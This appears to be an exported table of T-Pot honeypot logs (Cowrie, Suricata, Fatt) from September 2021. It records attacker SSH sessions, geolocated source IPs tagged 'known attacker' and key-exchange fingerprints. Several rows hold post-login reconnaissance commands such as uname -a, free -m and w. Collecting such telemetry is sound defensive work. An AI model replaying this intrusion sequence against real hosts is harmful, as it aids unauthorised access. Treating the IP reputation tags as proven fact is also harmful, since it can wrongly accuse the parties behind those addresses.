32734	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:25.067729+03	2021-09-20 15:00:03.860723+03	{"_id": "LwYNA3wBvYTbRNuEw0xn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "159.253.30.249", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.11199641227722168, "duplicate": true, "timestamp": "2021-09-20T11:53:25.067729Z", "@timestamp": "2021-09-20T11:53:25.067Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32735	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:25.657692+03	2021-09-20 15:00:03.862722+03	{"_id": "NAYNA3wBvYTbRNuEw0xn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "159.253.30.249", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.11345958709716797, "duplicate": true, "timestamp": "2021-09-20T11:53:25.657692Z", "@timestamp": "2021-09-20T11:53:25.657Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32736	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:25.826478+03	2021-09-20 15:00:03.863723+03	{"_id": "NwYNA3wBvYTbRNuEw0xn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:25.826478Z", "@timestamp": "2021-09-20T11:53:25.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32737	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:53:26.104779+03	2021-09-20 15:00:03.864722+03	{"_id": "OgYNA3wBvYTbRNuExEzU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1264040923226583, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 61312, "dest_port": 22, "timestamp": "2021-09-20T11:53:26.104779Z", "@timestamp": "2021-09-20T11:53:26.104Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32738	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:53:25.844318+03	2021-09-20 15:00:03.865723+03	{"_id": "PAYNA3wBvYTbRNuExUzd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 61312, "timestamp": "2021-09-20T11:53:25.844318", "@timestamp": "2021-09-20T11:53:25.844Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32739	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:53:26.108312+03	2021-09-20 15:00:03.866722+03	{"_id": "PgYNA3wBvYTbRNuEx0xR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "395d8c9aae3b", "@version": "1", "timestamp": "2021-09-20T11:53:26.108312Z", "@timestamp": "2021-09-20T11:53:26.108Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32740	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:26.41801+03	2021-09-20 15:00:03.868722+03	{"_id": "RQYNA3wBvYTbRNuEx0xR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:26.418010Z", "@timestamp": "2021-09-20T11:53:26.418Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32741	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:26.52822+03	2021-09-20 15:00:03.869723+03	{"_id": "RgYNA3wBvYTbRNuEx0xR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "159.253.30.249", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.11081624031066895, "duplicate": true, "timestamp": "2021-09-20T11:53:26.528220Z", "@timestamp": "2021-09-20T11:53:26.528Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32742	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:26.695479+03	2021-09-20 15:00:03.870722+03	{"_id": "RwYNA3wBvYTbRNuEx0xR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:26.695479Z", "@timestamp": "2021-09-20T11:53:26.695Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32743	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:27.021889+03	2021-09-20 15:00:03.871722+03	{"_id": "UQYNA3wBvYTbRNuEy0w8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:27.021889Z", "@timestamp": "2021-09-20T11:53:27.021Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32744	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:27.691281+03	2021-09-20 15:00:03.872722+03	{"_id": "TwYNA3wBvYTbRNuEy0w7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:27.691281Z", "@timestamp": "2021-09-20T11:53:27.691Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32745	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:27.41923+03	2021-09-20 15:00:03.873722+03	{"_id": "UAYNA3wBvYTbRNuEy0w8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:27.419230Z", "@timestamp": "2021-09-20T11:53:27.419Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32746	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:27.691817+03	2021-09-20 15:00:03.874722+03	{"_id": "UgYNA3wBvYTbRNuEy0w8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:27.691817Z", "@timestamp": "2021-09-20T11:53:27.691Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32747	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:27.692318+03	2021-09-20 15:00:03.876723+03	{"_id": "VAYNA3wBvYTbRNuEy0w8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:27.692318Z", "@timestamp": "2021-09-20T11:53:27.692Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32748	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:28.325858+03	2021-09-20 15:00:03.877722+03	{"_id": "WgYNA3wBvYTbRNuEz0wi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:28.325858Z", "@timestamp": "2021-09-20T11:53:28.325Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32749	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:28.437581+03	2021-09-20 15:00:03.878723+03	{"_id": "XQYNA3wBvYTbRNuEz0wi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "159.253.30.249", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.11234021186828613, "duplicate": true, "timestamp": "2021-09-20T11:53:28.437581Z", "@timestamp": "2021-09-20T11:53:28.437Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32750	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:24.123138+03	2021-09-20 15:00:03.879722+03	{"_id": "IwYNA3wBvYTbRNuEv0yA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:24.123138Z", "@timestamp": "2021-09-20T11:53:24.123Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32752	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:24.781858+03	2021-09-20 15:00:03.881723+03	{"_id": "IgYNA3wBvYTbRNuEv0x_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "159.253.30.249", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.16044163703918457, "duplicate": true, "timestamp": "2021-09-20T11:53:24.781858Z", "@timestamp": "2021-09-20T11:53:24.781Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32753	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:24.955813+03	2021-09-20 15:00:03.882722+03	{"_id": "JgYNA3wBvYTbRNuEv0yA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:24.955813Z", "@timestamp": "2021-09-20T11:53:24.955Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32754	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:24.491487+03	2021-09-20 15:00:03.884724+03	{"_id": "HgYNA3wBvYTbRNuEv0x_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.closed", "message": "Connection lost after 20 seconds", "session": "0d206a306e54", "@version": "1", "duration": 20.589237689971924, "timestamp": "2021-09-20T11:53:24.491487Z", "@timestamp": "2021-09-20T11:53:24.491Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32755	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:25.349298+03	2021-09-20 15:00:03.885723+03	{"_id": "MAYNA3wBvYTbRNuEw0xn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "159.253.30.249", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.11116504669189453, "duplicate": true, "timestamp": "2021-09-20T11:53:25.349298Z", "@timestamp": "2021-09-20T11:53:25.349Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32756	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:25.544309+03	2021-09-20 15:00:03.886722+03	{"_id": "MgYNA3wBvYTbRNuEw0xn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:25.544309Z", "@timestamp": "2021-09-20T11:53:25.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
